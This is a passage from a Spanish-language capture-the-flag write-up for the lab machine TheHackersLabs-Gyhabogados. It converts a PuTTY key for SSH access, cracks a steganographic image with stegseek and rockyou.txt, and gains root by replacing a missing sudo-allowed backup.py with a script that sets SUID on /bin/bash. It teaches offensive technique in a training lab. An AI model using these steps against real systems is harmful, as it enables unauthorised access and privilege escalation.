ssh-rsa 2048 SHA256:bE/OC0a4W0YALcfFb3ZMKvbx94oNGvsOvb0CajKFqOY
Algo importante, es que no nos pidió meter una contraseña, por lo que es posible modificar esta llave para convertirla en una llave privada id_rsa para el servicio SSH.
La podemos generar con puttygen y le damos los permisos correctos:
puttygen private_key.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
Ya solo tenemos que averiguar a quién pertenece esta llave.
Probando con varios usuarios, resulta que le pertenece al usuario john:
ssh -i id_rsa john@192.168.100.150
Linux TheHackersLabs-Gyhabogados 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
...
Last login: Fri Oct 3 02:53:26 2025
john@TheHackersLabs-Gyhabogados:~$ whoami
john
El problema es que no encontramos algo que nos ayude a escalar privilegios, ni podemos ver sus privilegios porque nos pide su contraseña, que no tenemos.
Aplicando Estegoanálisis en Imagen de Impala y Descubriendo Credenciales Ocultas del Usuario john
La contraseña del usuario dean, sirve en el login de Roundcube:
Tenemos dos correos, pero el que nos importa es el primero:
Algo curioso que descubriremos, es que si descargamos y analizamos la imagen del Impala, parece que contiene algo:
strings impala_67.jpg | head -n 10
JFIF
, #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Z]gQ
5HYa
Normalmente, una imagen normal no debería contener esos caracteres.
Directamente, usemos la herramienta stegseek y el wordlist rockyou.txt para ver si puede encontrar algo:
stegseek impala_67.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "ironmaiden"
[i] Original filename: "credentials.txt".
[i] Extracting to "impala_67.jpg.out".
Bien, obtuvimos la contraseña que nos da un archivo y el archivo oculto.
Al leerlo, nos da la contraseña para el usuario john:
cat impala_67.jpg.out
john: ***********
Ya podemos ver qué privilegios tiene este usuario.
Escalando Privilegios Abusando de Permisos Sudoers Sobre Binario python3 y Script backup.py
Veamos qué privilegios tiene el usuario john:
john@TheHackersLabs-Gyhabogados:~$ sudo -l
[sudo] password for john:
Sorry, try again.
[sudo] password for john:
Matching Defaults entries for john on TheHackersLabs-Gyhabogados:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User john may run the following commands on TheHackersLabs-Gyhabogados:
(ALL) PASSWD: /usr/bin/python3 /home/john/tools/backup.py
Nuestro usuario puede ejecutar un script llamado backup.py con python3 como Root.
Dentro de los archivos de este usuario, vemos el directorio tools, que es la ruta que se menciona:
john@TheHackersLabs-Gyhabogados:~$ ls
Maildir tools
Lo curioso, es que no se encuentra el script que se menciona:
john@TheHackersLabs-Gyhabogados:~$ cd tools/
john@TheHackersLabs-Gyhabogados:~/tools$ ls -la
total 8
drwxr-xr-x 2 john john 4096 Dec 8 2024 .
drwx------ 8 john john 4096 Dec 8 2024 ..
Esto nos beneficia, ya que podemos suplantar ese script por uno propio.
Podríamos crear uno que contenga la instrucción que cambie los permisos de la Bash y darle permisos SUID.
Primero, revisemos qué permisos tiene la Bash:
john@TheHackersLabs-Gyhabogados:~/tools$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
Solo el Root puede ejecutar la Bash con privilegios.
Ahora, creamos nuestro script con el nombre backup.py y agregamos la instrucción para que cambie los permisos de la Bash:
john@TheHackersLabs-Gyhabogados:~/tools$ nano backup.py
john@TheHackersLabs-Gyhabogados:~/tools$ cat backup.py
import os
os.system("chmod u+s /bin/bash")
Ejecutamos el script:
john@TheHackersLabs-Gyhabogados:~/tools$ sudo /usr/bin/python3 /home/john/tools/backup.py
john@TheHackersLabs-Gyhabogados:~/tools$
Y volvemos a revisar los permisos de la Bash:
john@TheHackersLabs-Gyhabogados:~/tools$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
Ya tiene los permisos SUID.
Ejecutemos la Bash con privilegios:
john@TheHackersLabs-Gyhabogados:~/tools$ bash -p
bash-5.2# whoami
root
Somos Root.
Obtengamos la última flag:
bash-5.2# cd /root/
bash-5.2# ls
Maildir notes.txt vboxpostinstall.sh
bash-5.2# cat notes.txt
███████ ██ ██████ █████ ███ ██ ██████ ██ ██████ █████ ████████ ██████
██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
█████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ███████ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ███████ ██████ ██ ██ ██ ████ ██████ ██ ██████ ██ ██ ██ ██████
¡Felicidades, hacker!
Has logrado rootear la máquina.
Recuerda, la ciberseguridad es un campo en constante evolución. Los desafíos son solo una pieza del rompecabezas;
sigue aprendiendo, explorando y compartiendo tu conocimiento.
Si te gustó este CTF, ¡cuéntaselo a otros! Y si encontraste errores o tienes sugerencias, no dudes en hacérmelo saber.
Flag: ****************
"La verdadera fuerza de voluntad está en fallar una y otra vez, y al final tener éxito"
--- David Goggins
bash-5.2#
Qué bonito mensaje.
Con esto, terminamos la máquina.
Links de Investigación
- https://www.adobe.com/es/acrobat/resources/document-files/open-doc/odt-file.html
- https://medium.com/@akshay__0/initial-access-via-malicious-odt-macro-ac7f5d15796d
- https://www.hackplayers.com/2018/06/shell-mediante-un-documento-odt.html
- https://es.wikipedia.org/wiki/Roundcube